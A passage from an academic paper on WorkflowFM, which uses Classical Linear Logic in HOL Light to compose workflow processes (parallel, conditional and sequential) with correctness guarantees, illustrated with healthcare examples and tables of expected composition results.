refers to the construction of systems in a way that guarantees correctness properties about them at design time. In this spirit, we have developed the WorkflowFM system for correct-by-construction process composition [21]. It relies on Classical Linear Logic (see Section 2.1) to rigorously compose abstract process specifications in a way that:
1. systematically accounts for resources and exceptions;
2. prevents deadlocks;
3. results in a concrete workflow where processes are executed concurrently.
The inference is performed within the proof assistant HOL Light, which offers systematic guarantees of correctness for every inference step [11]. The logical model can be translated through a process calculus to a concrete workflow implementation in a host programming language.
There are numerous aspects to and components in the WorkflowFM system, including, for instance, the diagrammatic interface (as shown in Fig. 1), the code translator, the execution engine, the process calculus correspondence, and the architecture that brings it all together [21]. In this particular paper we focus on the proof procedures that make such resource-based process compositions feasible and accessible. These are essential for creating meaningful workflow models with the correctness-by-construction properties highlighted above, but without the need for tedious manual CLL reasoning. Instead, the user can use high level composition actions triggered by simple, intuitive mouse gestures and without the need to understand the underlying proof, which is guaranteed to be correct thanks to the rigorous environment of HOL Light.
It is worth emphasizing that our work largely aims at tackling pragmatic challenges in real applications as opposed to merely establishing theoretical facts. We rely on existing formalisms, such as the proofs-as-processes theory described below, in our attempt to exploit its benefits in real world scenarios. As a result, the vast majority of our design decisions are driven by practical experience and the different cases we have encountered in our projects.
Table 1 is a list of some of our case studies in the healthcare and manufacturing domain that have driven the development of WorkflowFM. It includes an indication of the size of each case study based on (1) the number of (atomic) component processes, (2) the number of different types of resources involved in the inputs and outputs of the various processes (see Section 3), (3) the number of binary composition actions performed to construct the workflows (see Section 4), and (4) the total number of composed workflows.
2 Background
The systematic accounting of resources in our approach can be demonstrated through a hypothetical example from the healthcare domain [21]. Assume a process DeliverDrug that corresponds to the delivery of a drug to a patient by a nurse. Such a process requires information about the Patient, the Dosage of the drug, and some reserved NurseTime for the nurse to deliver the drug. The
possible outcomes are that either the patient is Treated or that the drug Failed. In the latter case, we would like to apply the Reassess process, which, given some allocated clinician time (ClinTime) results in the patient being Reassessed. A graphical representation of these 2 processes, where dashed edges denote the optional outcomes of DeliverDrug, is shown at the top of Fig. 1.
If we were to compose the 2 processes in a workflow where the drug failure is always handled by Reassess, what would be the specification (or specifically the output) of the composite process?
Given the workflow representation in Fig. 1, one may be inclined to simply connect the Failed edge of DeliverDrug to the corresponding edge of Reassess, leading to an overall output of either Treated or Reassessed. However, this would be erroneous, as the input ClinTime, is consumed in the composite process even if Reassess is never used. Using our CLL-based approach, the workflow output is either Reassessed which occurs if the drug failed, or Treated coupled with the unused ClinTime, as shown at the bottom of Fig. 1.
Systematically accounting for such unused resources is non-trivial, especially considering larger workflows with tens or hundreds of processes and many different outcomes. The CLL inference rules enforce this by default and the proof reflects the level of reasoning required to achieve this. In addition, the process code generated from this synthesis is fully asynchronous and deadlock-free, and relies on the existence of concrete implementations of DeliverDrug and Reassess.
---
Table 1. Sample case studies and an indication of their size.
<table>
<thead>
<tr>
<th>Case study theme</th>
<th>Processes</th>
<th>Resource types</th>
<th>Actions</th>
<th>Workflows</th>
</tr>
</thead>
<tbody>
<tr>
<td>Patient handovers</td>
<td>9</td>
<td>16</td>
<td>13</td>
<td>2</td>
</tr>
<tr>
<td>Tracheostomy care pathway</td>
<td>33</td>
<td>47</td>
<td>32</td>
<td>3</td>
</tr>
<tr>
<td>HIV care pathways</td>
<td>128</td>
<td>129</td>
<td>121</td>
<td>13</td>
</tr>
<tr>
<td>Pen manufacturing (ongoing)</td>
<td>42</td>
<td>45</td>
<td>60</td>
<td>20</td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td><strong>212</strong></td>
<td><strong>237</strong></td>
<td><strong>226</strong></td>
<td><strong>38</strong></td>
</tr>
</tbody>
</table>
2.1 Classical Linear Logic
Linear Logic, as proposed by Girard [9], is a refinement to classical logic where the rules of contraction and weakening are limited to the modalities $!$ and $?$. Propositions thus resemble resources that cannot be ignored or copied arbitrarily.
In this work, we use a one-sided sequent calculus version of the multiplicative additive fragment of propositional CLL without units (MALL). Although there exist process translations of full CLL and even first-order CLL, the MALL fragment allows enough expressiveness while keeping the reasoning complexity at a manageable level (MALL is PSPACE-complete whereas full CLL is undecidable [13]). The inference rules for MALL are presented in Fig. 2.
\[
\begin{align*}
\vdash A \perp, A & \quad \text{Id} \\
\vdash \Gamma, A & \quad \vdash \Delta, B \quad \otimes \\
\vdash \Gamma, \Delta, A \otimes B & \quad \vdash \Gamma, \Delta \\
\vdash \Gamma, A & \quad \vdash \Gamma, A \oplus B \quad \oplus_L \\
\vdash \Gamma, B & \quad \vdash \Gamma, A \oplus B \quad \oplus_R \\
\vdash \Gamma, C & \quad \vdash \Delta, C \perp & \quad \text{Cut} \\
\vdash \Gamma, A^\perp & \quad \vdash \Gamma, B^\perp & \quad \& \\
\vdash \Gamma, (A \otimes B)^\perp & \quad \vdash \Gamma \end{align*}
\]
Fig. 2. One-sided sequent calculus versions of the CLL inference rules.
In this version of MALL, linear negation $(\perp)$ is defined as a syntactic operator with no inference rules, so that both $A$ and $A^\perp$ are considered atomic formulas. The de Morgan style equations in Fig. 3 provide a syntactic equivalence of formulas involving negation [27]. This allows us to use syntactically equivalent formulas, such as $A^\perp \neq B^\perp$ and $(A \otimes B)^\perp$ interchangeably. In fact, in the proofs presented in this paper we choose to present formulas containing $\otimes$ and $\oplus$ over their counterparts $\neq$ and $\&$ due to the polarity restrictions we introduce in Section 3.
\[
\begin{align*}
(A^\perp)^\perp & \equiv A \\
(A \otimes B)^\perp & \equiv A^\perp \neq B^\perp \\
(A \neq B)^\perp & \equiv A^\perp \otimes B^\perp \\
(A \& B)^\perp & \equiv A^\perp \oplus B^\perp
\end{align*}
\]
Fig. 3. The equations used to define linear negation for MALL.
In the 90s, Abramsky, Bellin and Scott developed the so-called proofs-as-processes paradigm [24]. It involved a correspondence between CLL inference and concurrent processes in the $\pi$-calculus [18]. They proved that cut-elimination in a CLL proof corresponds to reductions in the $\pi$-calculus translation, which in turn correspond to communication between concurrent processes. As a result, $\pi$-calculus terms constructed via CLL proofs are inherently free of deadlocks.
The implications of the proofs-as-processes correspondence have been the subject of recent research in concurrent programming by Wadler [28], Pfenning et al. [3,25], Dardha [7,8] and others. Essentially, each CLL inference step can be translated to an executable workflow, with automatically generated code to
appropriately connect the component processes. As a result, the CLL proofs have a direct correspondence to the “piping”, so to speak, that realises the appropriate resource flow between the available processes, such that it does not introduce deadlocks, accounts for all resources explicitly, and maximizes runtime concurrency. The current paper examines CLL inference and we take the correspondence to deadlock-free processes for granted.
2.2 Related work
Diagrammatic languages such as BPMN [20] are commonly used for the description of workflows in different organisations. However, they typically lack rigour and have limited potential for formal verification [23]. Execution languages such as BPEL [19] and process calculi such as Petri Nets [1] are often used for workflow management in a formal way and our CLL approach could potentially be adapted to work with these. Linear logic has been used in the context of web service composition [22], but in a way that diverges significantly from the original theory and compromises the validity of the results. Finally, the way the resource flow is managed through our CLL-based processes is reminiscent of monad-like structures such as Haskell’s arrows [1]. One of the key differences is the lack of support for optional resources, which is non-trivial as we show in this paper.
3 Process Specification
Since CLL propositions can naturally represent resources, CLL sequents can be used to represent processes, with each literal representing a type of resource that is involved in that process. These abstract types can have a concrete realisation in the host programming language, from primitive to complicated objects.
Our approach to resource-based composition is to construct CLL specifications of abstract processes based on their inputs (and preconditions) and outputs (and effects), also referred to as IOPEs. This is standard practice in various process formalisms, including WSDL for web services [6], OWL-S for Semantic Web services [16], PDDL for actions in automated planning [17], etc.
The symmetry of linear negation as shown in Fig. 3 can be used to assign a polarity to each CLL connective in order to distinctly specify input and output resources. We choose to treat negated literals, \( \neg \), and \& as inputs, and positive literals, \( \otimes \), and \( \oplus \) as outputs, with the following intuitive interpretation:
- Multiplicative conjunction (tensor \( \otimes \)) indicates a pair of parallel outputs.
- Additive disjunction (plus \( \oplus \)) indicates exclusively optional outputs (alternative outputs or exceptions).
- Multiplicative disjunction (par \( \& \)) indicates a pair of simultaneous inputs.
- Additive conjunction (with \( \& \)) indicates exclusively optional input.
\footnote{https://www.haskell.org/arrows}
Based on this, a process can be specified as a CLL sequent consisting of a list of input formulas and a single output formula. In this, the order of the literals does not matter, so long as they obey the polarity restrictions (all but exactly one are negative). In practice, we treat sequents as multisets of literals and manage them using particular multiset reasoning techniques in HOL Light. The description of these techniques is beyond the scope of this paper.
The polarity restrictions imposed on our process specifications match the specification of Laurent’s Polarized Linear Logic (LLP) [13], and has a proven logical equivalence to the full MALL. Moreover, these restrictions match the programming language paradigm of a function that can have multiple input arguments and returns a single (possibly composite) result.
4 Process Composition
Using CLL process specifications as assumptions, we can produce a composite process specification using forward inference. Each of the CLL inference rules represent a logically legal way to manipulate and compose such specifications.
The axiom \( \vdash A, A \perp \) represents the so-called axiom buffer, a process that receives a resource of type \( A \) and outputs the same resource unaffected.
Unary inference rules, such as the \( \oplus_L \) rule, correspond to manipulations of a single process specification. For example, the \( \oplus_L \) rule (see Fig. 2) takes a process \( P \) specified by \( \vdash \Gamma, A \), i.e. a process with some inputs \( \Gamma \) and an output \( A \), and produces a process \( \vdash \Gamma, A \oplus B \), i.e. a process with the same inputs \( \Gamma \) and output either \( A \) or \( B \). Note that the produced composite process relies on \( P \) and therefore will in practice always produce \( A \) and never \( B \).
Binary inference rules, such as the \( \otimes \) rule, correspond to binary process composition. The \( \otimes \) rule in particular (see Fig. 2) takes a process \( P \) specified by \( \vdash \Gamma, A \) and another process \( Q \) specified by \( \vdash \Delta, B \) and composes them, so that the resulting process \( \vdash \Gamma, \Delta, A \otimes B \) has all their inputs \( \Gamma \) and \( \Delta \) and a simultaneous output \( A \otimes B \). Notably, the Cut rule corresponds to the composition of 2 processes in sequence, where one consumes a resource \( A \) given by the other.
Naturally, these manipulations and compositions are primitive and restricted. Constructing meaningful compositions requires several rule applications and, therefore, doing this manually would be a very tedious and impractical task. Our work focuses on creating high level actions that use CLL inference to automatically produce binary process compositions that are correct-by-construction based on the guarantees described above. More specifically, we introduce actions for parallel (\textsc{TENSOR}), conditional (\textsc{WITH}), and sequential composition (\textsc{JOIN}).
Since we are using forward inference, there are infinitely many ways to apply the CLL rules and therefore infinite possible compositions. We are interested in producing compositions that are intuitive for the user. It is practically impossible to produce a formal definition of what these compositions should be. Instead, as explained earlier, we rely on practical experience and user feedback from the various case studies for workflow modelling (see Table 1).
Based on this, we have introduced a set of what can be viewed as unit tests for our composition actions, which describe the expected and logically valid results of example compositions. As we explore increasingly complex examples in practice, we augment our test set and ensure our algorithms satisfy them. Selected unit tests for the WITH and JOIN actions are shown in Tables 2 and 3 respectively. Moreover, as a general principle, our algorithms try to maximize resource usage, i.e., involve as many resources as possible, and minimize the number of rule applications to keep the corresponding process code more compact.
<table>
<thead>
<tr>
<th>P</th>
<th>Q</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>⊢ X⊥, Z</td>
<td>⊢ Y⊥, Z</td>
<td>⊢(X ⊕ Y)⊥, Z</td>
</tr>
<tr>
<td>⊢ X⊥, Z</td>
<td>⊢ Y⊥, W</td>
<td>⊢(X ⊕ Y)⊥, A⊥, Z ⊕ W</td>
</tr>
<tr>
<td>⊢ X⊥, A⊥, Z, Z</td>
<td>⊢ Y⊥, B⊥, W</td>
<td>⊢(X ⊕ Y)⊥, Z ⊕ A ⊕ B</td>
</tr>
<tr>
<td>⊢ X⊥, A⊥, B⊥, Z, Z</td>
<td>⊢ Y⊥, B⊥, W</td>
<td>⊢(X ⊕ Y)⊥, A⊥, B⊥, Z ⊕ (Z ⊕ B) ⊕ (W ⊕ A)</td>
</tr>
<tr>
<td>⊢ X⊥, A⊥ ⊕ B</td>
<td>⊢ Y⊥, B ⊕ A</td>
<td>⊢(X ⊕ Y)⊥, A ⊕ B</td>
</tr>
<tr>
<td>⊢ X⊥, A⊥, A ⊕ Z, Z</td>
<td>⊢ Y⊥, Z</td>
<td>⊢(X ⊕ Y)⊥, A ⊕ Z</td>
</tr>
<tr>
<td>⊢ X⊥, A⊥, Z ⊕ (Z ⊕ A)</td>
<td>⊢ Y⊥, Z</td>
<td>⊢(X ⊕ Y)⊥, A ⊕ Z</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Table 2. Examples of the expected result of the WITH action between X⊥ of a process P and Y⊥ of a process Q.
All our algorithms are implemented within the Higher Order Logic proof tactic system of HOL Light. As a result, the names of some methods have the _TAC suffix, which is conventionally used when naming HOL Light tactics.
5 Auxiliary Processes
During composition, we often need to construct auxiliary processes that manipulate the structure of a CLL type in particular ways. We have identified 2 types of such processes: buffers and filters.
Buffers: Similarly to the axiom buffer introduced in the previous section, composite buffers (or simply buffers) can carry any composite resource without affecting it. This is useful when a process is unable to handle the entire type on its own, and some resources need to be simply buffered through. For example, if a process needs to handle a resource of type A ⊗ B, but only has an input of type A⊥, then B will be handled by a buffer.
More formally, buffers are processes specified by ⊢ A⊥, A, where A is arbitrarily complex. Such lemmas are always provable in CLL for any formula A. We have introduced an automatic procedure BUFFER_TAC that can accomplish this, but omit the implementation details in the interest of space and in favour of the more interesting composition procedures that follow.
We also introduce the concept of a *parallel buffer*, defined as a process $\vdash A_1, A_2, ..., A_n, A_1 \otimes A_2 \otimes ... \otimes A_n$. Such buffers are useful when composing processes with an optional output (see Section 8.3). Their construction can also be easily automated with a decision procedure we call \textsc{Parbuf_TAC}.
**Filters:** Often during process composition by proof, resources need to match exactly for the proof to proceed. In some cases, composite resources may not match exactly, but may be manipulated using the CLL inference rules so that they end up matching. For example, the term $A \otimes B$ does not directly match $B \otimes A$. However, both terms intuitively represent resources $A$ and $B$ in parallel. This intuition is reflected formally to the commutativity property of $\otimes$, which is easily provable in CLL: $\vdash (A \otimes B)^\perp, B \otimes A$. We can then use the \textit{Cut} rule with this property to convert an output of type $A \otimes B$ to $B \otimes A$ (similarly for inputs).
We call such lemmas that are useful for converting CLL types to equivalent ones, *filters*. In essence, a filter is any provable CLL lemma that preserves our polarity restrictions. We prove such lemmas automatically using the proof strategies developed by Tammet [24].
We give some examples of how filters are used to match terms as we go through them below. However, as a general rule the reader may assume that, for the remainder of this paper, by “equal” or “matching” terms we refer to terms that are equal modulo the use of filters.
A main consequence of this is that our algorithms often attempt to match literals that do not match. For example, the attempt to compose $\vdash A, B$ in sequence with $\vdash C, D, E$ would generate and try to prove 2 false conjectures $\vdash B, C$ and $\vdash B, D$ in an effort to match the output $B$ with any of the 2 inputs $C$ and $D$ before failing. This highlights the need for an efficient proof procedure for filters, with an emphasis on early failure.
6 **Parallel Composition - The \textsc{Tensor} Action**
The \textsc{Tensor} action corresponds to the parallel composition of two processes so that their outputs are provided in parallel. It trivially relies on the tensor ($\otimes$) inference rule. Assuming 2 processes, $\vdash A, C, D$ and $\vdash B, E$, the \textsc{Tensor} action will perform the following composition:
$$
\vdash A, C, D \quad \vdash B, E
$$
$$
\vdash A, B, C, D \otimes E
$$
7 **Conditional Composition - The \textsc{With} Action**
The \textsc{With} action corresponds to the *conditional* composition of two processes. This type of composition is useful in cases where each of the components of an optional output of a process needs to be handled by a different receiving process.
\footnote{In practice, the user will have to select a matching input to attempt such a composition (see Section 8).}
<table>
<thead>
<tr>
<th>P</th>
<th>Pr.</th>
<th>Q</th>
<th>Selected Input</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>⊢ X^⊥, A</td>
<td>L</td>
<td>⊢ A^⊥, Y</td>
<td>A^⊥</td>
<td>⊢ X^⊥, Y</td>
</tr>
<tr>
<td>⊢ X^⊥, A ⊗ B</td>
<td>L</td>
<td>⊢ A^⊥, Y</td>
<td>A^⊥</td>
<td>⊢ X^⊥, Y ⊗ B</td>
</tr>
<tr>
<td>⊢ X^⊥, A ⊗ B ⊗ C</td>
<td>L</td>
<td>⊢ A^⊥, Y</td>
<td>A^⊥</td>
<td>⊢ X^⊥, Y ⊗ B ⊗ C</td>
</tr>
<tr>
<td>⊢ X^⊥, A ⊗ B ⊗ C</td>
<td>L</td>
<td>⊢ A^⊥, C^⊥, Y</td>
<td>A^⊥</td>
<td>⊢ X^⊥, C^⊥, Y ⊗ (C ⊗ B)</td>
</tr>
<tr>
<td>⊢ X^⊥, A ⊗ B</td>
<td>R</td>
<td>⊢ B^⊥, C^⊥, Y</td>
<td>B^⊥</td>
<td>⊢ X^⊥, C^⊥, (C ⊗ A) ⊗ Y</td>
</tr>
<tr>
<td>⊢ X^⊥, A ⊗ B</td>
<td>L</td>
<td>⊢ (B ⊗ A)^⊥, Y</td>
<td>(B ⊗ A)^⊥</td>
<td>⊢ X^⊥, Y ⊗ (B ⊗ C)</td>
</tr>
<tr>
<td>⊢ X^⊥, A ⊗ (B ⊗ C)</td>
<td>R</td>
<td>⊢ (B ⊗ A)^⊥, Y</td>
<td>(B ⊗ A)^⊥</td>
<td>⊢ X^⊥, A ⊗ (Y ⊗ C)</td>
</tr>
<tr>
<td>⊢ X^⊥, A ⊗ B</td>
<td>L</td>
<td>⊢ (C ⊗ A ⊗ D)^⊥, Y</td>
<td>(C ⊗ A ⊗ D)^⊥</td>
<td>⊢ X^⊥, A ⊗ B</td>
</tr>
<tr>
<td>⊢ X^⊥, C ⊗ (A ⊗ B)</td>
<td>L</td>
<td>⊢ C^⊥, A ⊗ B</td>
<td>C^⊥</td>
<td>⊢ X^⊥, A ⊗ B</td>
</tr>
<tr>
<td>⊢ X^⊥, C ⊗ (A ⊗ B)</td>
<td>L</td>
<td>⊢ C^⊥, B ⊗ A</td>
<td>C^⊥</td>
<td>⊢ X^⊥, B ⊗ A</td>
</tr>
<tr>
<td>⊢ X^⊥, C ⊗ (A ⊗ B)</td>
<td>L</td>
<td>⊢ C^⊥, Y ⊗ (B ⊗ A)</td>
<td>C^⊥</td>
<td>⊢ X^⊥, Y ⊗ (B ⊗ A)</td>
</tr>
<tr>
<td>⊢ X^⊥, C ⊗ (A ⊗ B)</td>
<td>L</td>
<td>⊢ C^⊥, (B ⊗ A) ⊗ Y</td>
<td>C^⊥</td>
<td>⊢ X^⊥, (B ⊗ A) ⊗ Y</td>
</tr>
<tr>
<td>⊢ X^⊥, (A ⊗ B) ⊗ C</td>
<td>R</td>
<td>⊢ C^⊥, (B ⊗ A) ⊗ Y</td>
<td>C^⊥</td>
<td>⊢ X^⊥, (B ⊗ A) ⊗ Y</td>
</tr>
<tr>
<td>⊢ X^⊥, (A ⊗ B) ⊗ C</td>
<td>R</td>
<td>⊢ C^⊥, (B ⊗ A) ⊗ Y</td>
<td>C^⊥</td>
<td>⊢ X^⊥, (B ⊗ A) ⊗ Y</td>
</tr>
<tr>
<td>⊢ X^⊥, C ⊗ (A ⊗ B)</td>
<td>L</td>
<td>⊢ C^⊥, Y ⊗ (B ⊗ A)</td>
<td>C^⊥</td>
<td>⊢ X^⊥, Y ⊗ (B ⊗ A)</td>
</tr>
<tr>
<td>⊢ X^⊥, A ⊗ B</td>
<td>L</td>
<td>⊢ A^⊥, C^⊥, Y</td>
<td>A^⊥</td>
<td>⊢ X^⊥, Y ⊗ (C ⊗ B)</td>
</tr>
</tbody>
</table>
Table 3. Examples of the expected result of the JOIN action between a process P and a process Q. Column Pr. gives the priority parameter (see Section 8.4).
For example, assume a process S has an optional output A ⊗ C where C is an exception. We want A to be handled by some process P, for example specified by ⊢ A^⊥, B^⊥, X, while another process Q specified by ⊢ C^⊥, Y plays the role of the exception handler for exception C. For this to happen, we need to compose P and Q together using the WITH action so that A ⊗ C from S can be taken as input in one go. This composition can be viewed as the construction of a case statement where if A is provided then P will be executed (assuming B is also provided), and if C is provided then Q will be executed in a mutually exclusive choice. The generated proof tree for this particular example is the following:
\[
\frac{\vdash A^\perp, B^\perp, X}{\vdash A^\perp, B^\perp, X \oplus (Y \otimes B)} \quad \frac{\vdash C^\perp, Y}{\vdash B^\perp, B} \quad \frac{\vdash C^\perp, B^\perp, Y \otimes B}{\vdash C^\perp, B^\perp, X \oplus (Y \otimes B)} \quad \frac{\vdash C^\perp, A^\perp, Y}{\vdash A^\perp, C^\perp, X \oplus (Y \otimes B)} \quad \frac{\vdash \Gamma, A^\perp, X \oplus L}{\vdash \Gamma, A^\perp, X \oplus Y} \quad \frac{\vdash \Gamma, C^\perp, Y}{\vdash \Gamma, C^\perp, X \oplus Y} \quad \frac{\vdash \Gamma, (A \oplus C)^\perp, X \oplus Y}{\vdash \Gamma, (A \oplus C)^\perp, X \oplus Y} \\
\]
(1)
The WITH action fundamentally relies on the & rule of CLL. The following derivation allows us to compose 2 processes with different outputs X and Y:
\[
\frac{\vdash \Gamma, A^\perp, X \oplus L}{\vdash \Gamma, A^\perp, X \oplus Y} \quad \frac{\vdash \Gamma, C^\perp, Y}{\vdash \Gamma, C^\perp, X \oplus Y} \quad \frac{\vdash \Gamma, (A \oplus C)^\perp, X \oplus Y}{\vdash \Gamma, (A \oplus C)^\perp, X \oplus Y} \\
\]
(2)
The particularity of the & rule is that the context \(\Gamma\), i.e. all the inputs except the ones involved in the WITH action, must be the same for both the involved processes. In practice, this means we need to account for unused inputs. In the example above, P apart from input \(A^\perp\) has another input \(B^\perp\) which is missing.
from Q. In the conditional composition of P and Q, if exception C occurs, the
provided B will not be consumed since P will not be invoked. In this case, we
use a buffer to let B pass through together with the output Y of Q.
More generally, in order to apply the & rule to 2 processes P and Q, we need
to minimally adjust their contexts Γ_P and Γ_Q (i.e. their respective multisets of
inputs excluding the ones that will be used in the rule) so that they end up being
the same Γ = Γ_P ∪ Γ_Q.
In order to accomplish this for process Q, we calculate the multiset of “missing”
inputs ∆_Q = Γ_P \ Γ_Q. In the previous example in (1), we obtain ∆_Q = {C⊥}\.
We then construct a parallel buffer (see Section 5) of type ⊗∆_Q (converting
every input in ∆_Q to an output) using PARBUF_TAC. In the example, this is an
atomic C buffer. The parallel composition between this buffer and Q results in
the process ⊢ Γ, (A ⊕ C)⊥, (X ⊗ (⊗∆_P)) ⊕ (Y ⊗ (⊗∆_Q)) (3).
The output Y of Q has now been paired with the buffered resources ∆_Q.
Finally, we consider the special case where the following holds:
\[(X ⊗ (⊗∆_P)) = (Y ⊗ (⊗∆_Q)) = G (4)\]
In this case, the output of the composition in (3) will be G ⊕ G. Instead we
can apply the & directly without derivation (2), yielding the simpler output G.
Note that, as discussed in Section 5(4) above does not strictly require
equality. The special case can also be applied if we can prove and use the filter
\[\vdash (X ⊗ (⊗∆_P))', (Y ⊗ (⊗∆_Q))'.\]
These results and the complexity underlying their construction demonstrate
the non-trivial effort needed to adhere to CLL’s systematic management of re-
sources and, more specifically, its systematic accounting of unused resources.
8 Sequential Composition - The JOIN Action
The JOIN action reflects the connection of two processes in sequence, i.e. where
(some of) the outputs of a process are connected to (some of) the corresponding
inputs of another. More generally, we want to compose a process P with specifi-
cation ⊢ Γ, X, i.e. with some (multiset of) inputs Γ and output X in sequence
with a process Q with specification ⊢ Δ, C⊥, Y, i.e. with an input C⊥, output
Y, and (possibly) more inputs in context Δ. We also assume the user selects a
subterm A of X in P and a matching subterm A of the input C⊥ in Q.
The strategy of the algorithm behind the JOIN action is to construct a new
input for Q based on the chosen C⊥ such that it directly matches the output X
\[\mathbb{⊗}\{a_1, ..., a_n\} ⊥ = a_1 ⊥ \mathbb{⊗} ... \mathbb{⊗} a_n ⊥\]
of \( P \) (and prioritizing the output selection \( A \)). This will enable the application of the \textit{Cut} rule, which requires the cut literal to match exactly. In what follows, we present how different cases for \( X \) are handled.
### 8.1 Atomic or Matching Output
If \( X \) is atomic, a straightforward use of the \textit{Cut} rule is sufficient to connect the two processes. For example, the \textit{JOIN} action between \( \vdash A^\perp, B^\perp, X \) and \( \vdash X^\perp, Z \) results in the following proof:
\[
\begin{array}{c}
\vdash A^\perp, B^\perp, X \\
P \quad Q \\
\vdash X^\perp, Z \quad \text{Cut}
\end{array}
\]
The same approach can be applied more generally for any non-atomic \( X \) as long as a matching input of type \( X^\perp \) (including via filtering) is selected in \( Q \).
### 8.2 Parallel Output
If \( X \) is a parallel output, such as \( B \otimes C \), we need to manipulate process \( Q \) so that it can receive an input of type \((B \otimes C)^\perp\).
If \( Q \) has both inputs \( B^\perp \) and \( C^\perp \), then we can use the \textit{\( \gamma \)} rule to combine them. For example, the generated proof tree of the \textit{JOIN} action between \( \vdash A^\perp, D^\perp, B \otimes C \) and \( \vdash B^\perp, C^\perp, E^\perp, Y \) is the following:
\[
\begin{array}{c}
\vdash A^\perp, D^\perp, B \otimes C \\
P \quad Q \\
\vdash B^\perp, C^\perp, E^\perp, Y \quad \text{Cut}
\end{array}
\]
As previously mentioned, the \textit{JOIN} action attempts to connect the output of \( P \) to \( Q \) maximally, i.e. both \( B \) and \( C \), regardless of the user choice. The user may, however, want to only connect one of the two resources. We have currently implemented this approach as it is the most commonly used in practice, but are investigating ways to enable better control by the user.
If \( Q \) has only one of the two inputs, for example \( B^\perp \), i.e. \( Q \) is of the form \( \vdash \Delta, B^\perp, Y \) and \( C^\perp \notin \Delta \), then \( C \) must be buffered. In this case, we use the following derivation:
\[
\begin{array}{c}
\vdash \Delta, B^\perp, Y \\
\vdash \Delta, C^\perp, \text{BUFFER_TAC} \\
\vdash \Delta, B^\perp, C^\perp, Y \otimes C \quad \otimes \\
\vdash \Delta, (B \otimes C)^\perp, Y \otimes C \quad \text{Cut}
\end{array}
\]
We use \textsc{BUFFER_TAC} from Section 5 to prove the buffer of \( C \).
Depending on the use of the \( \otimes \) rule in (5), the resulting output could be either \( Y \otimes C \) or \( C \otimes Y \). We generally try to match the form of \( P \)'s output, so in this case we would choose \( Y \otimes C \) to match \( B \otimes C \). Our algorithm keeps track of this orientation through the \textit{orient} parameter (see Section 8.4).
8.3 Optional Output
If $X$ is an optional output, such as $B \oplus C$, then we need to manipulate process $Q$ to synthesize an input $(B \oplus C)^\perp$. Assume $Q$ can handle $B$ (symmetrically for $C$) and thus has specification $\vdash \Delta, B^\perp, Y$. We construct a parallel buffer (using PARBUF_TAC, see Section 5) of type $(\otimes \Delta^\perp) \otimes C$ (converting all inputs in $\Delta$ to outputs). We then apply derivation (2) as follows:
$$
\begin{align*}
\vdash \Delta, B^\perp, Y & \quad \oplus L \\
\vdash \Delta, C^\perp, (\otimes \Delta^\perp) \otimes C & \quad \oplus R \\
\vdash \Delta, (B \oplus C)^\perp, Y \oplus ((\otimes \Delta^\perp) \otimes C) & \quad \&
\end{align*}
$$
Similarly to the WITH action, the particular structure of the $\&$ rule ensures the systematic management of unused resources. In the example above, if $C$ is received then $Q$ will never be executed. As a result, any resources in $\Delta$ will remain unused and need to be buffered together with $C$. This is the reason behind the type $(\otimes \Delta^\perp) \otimes C$ of the constructed buffer (as opposed to plainly using type $C$).
The proof tree of an example of the JOIN action between process $P$ specified by $\vdash A^\perp, D^\perp, B \oplus C$ and process $Q$ specified by $\vdash B^\perp, E^\perp, Y$ is shown below:
$$
\begin{align*}
\vdash A^\perp, D^\perp, B \oplus C & \quad \vdash B^\perp, E^\perp, Y \oplus (C \otimes E) \\
\vdash B^\perp, E^\perp, Y \oplus (C \otimes E) & \quad \vdash C^\perp, E^\perp, C \otimes E \\
\vdash C^\perp, E^\perp, C \otimes E & \quad \vdash E^\perp, E \\
\vdash E^\perp, E & \quad \&
\end{align*}
$$
It is interesting to consider a couple of special cases.
Case 1: If $\vdash \Delta, C^\perp, Y$ is a parallel buffer, (6) can be simplified as follows:
$$
\begin{align*}
\vdash \Delta, B^\perp, Y & \quad \vdash \Delta, C^\perp, Y \\
\vdash \Delta, (B \oplus C)^\perp, Y & \quad \&
\end{align*}
$$
This may occur, for example, if $\Delta = \emptyset$ and $Y = C$. Such cases arise in processes used to recover from an exception. For instance, a recovery process $\vdash \text{Exception}^\perp, \text{Resource}$ can convert an output $\text{Resource} \oplus \text{Exception}$ to simply $\text{Resource}$ (which either was there in the first place, or was produced through the recovery process).
\[ X = A \otimes (A \oplus B) \quad \text{Left} \]
\[ \vdash A^\perp, Y \]
\[ \vdash X^\perp, A \otimes (A \oplus B) \]
\[ X = A \oplus (A \oplus B) \quad \text{Right; Left} \]
\[ \vdash A^\perp, Y \]
\[ \vdash X^\perp, A \oplus (Y \oplus B) \]
\[ X = A \oplus (B \oplus C) \quad \text{Left} \]
\[ \vdash (B \oplus A)^\perp, Y \]
\[ \vdash X^\perp, Y \oplus (B \oplus C) \]
\[ X = A \oplus (B \oplus C) \quad \text{Right; Left} \]
\[ \vdash (B \oplus A)^\perp, Y \]
\[ \vdash X^\perp, A \oplus (Y \oplus C) \]
\[ \text{Case 2: If } Y = D \oplus E \text{ for some } D \text{ and } E \text{ such that } \vdash \Delta, C^\perp, D \text{ (or symmetrically } \vdash \Delta, C^\perp, E \text{) is a parallel buffer, then we can apply the following derivation:} \]
\[ \vdash \Delta, B^\perp, D \oplus E \]
\[ \vdash \Delta, C^\perp, D \oplus E \quad \oplus L \]
\[ \vdash \Delta, (B \oplus C)^\perp, D \oplus E \quad \& \]
This may occur, for example, if \( \Delta = \emptyset \) and \( Y = C \oplus E \). The recovery process above may itself throw an exception: \( \vdash \text{Exception}^\perp, \text{Resource} \oplus \text{Failed} \). This will convert output \( \text{Resource} \oplus \text{Exception} \) to \( \text{Resource} \oplus \text{Failed} \) (either we had the \( \text{Resource} \) from the beginning, or we recovered and still got a \( \text{Resource} \), or the recovery process failed) instead of \( (\text{Resource} \oplus \text{Failed}) \oplus \text{Resource} \).
### 8.4 Putting It All Together
In the general case, the output \( X \) of \( P \) can be a complex combination of multiple parallel and optional outputs. For that reason, we apply the above proof strategies in a recursive, bottom-up way, prioritizing the user selections. We call the algorithm that produces the appropriate input \( X^\perp \) (or equivalent) from \( Q \) “\text{INPUT\_TAC}” and it has the following arguments (see Algorithm 1):
- \( \text{sel} \): optional term corresponding to the user selected input \( C^\perp \) of \( Q \).
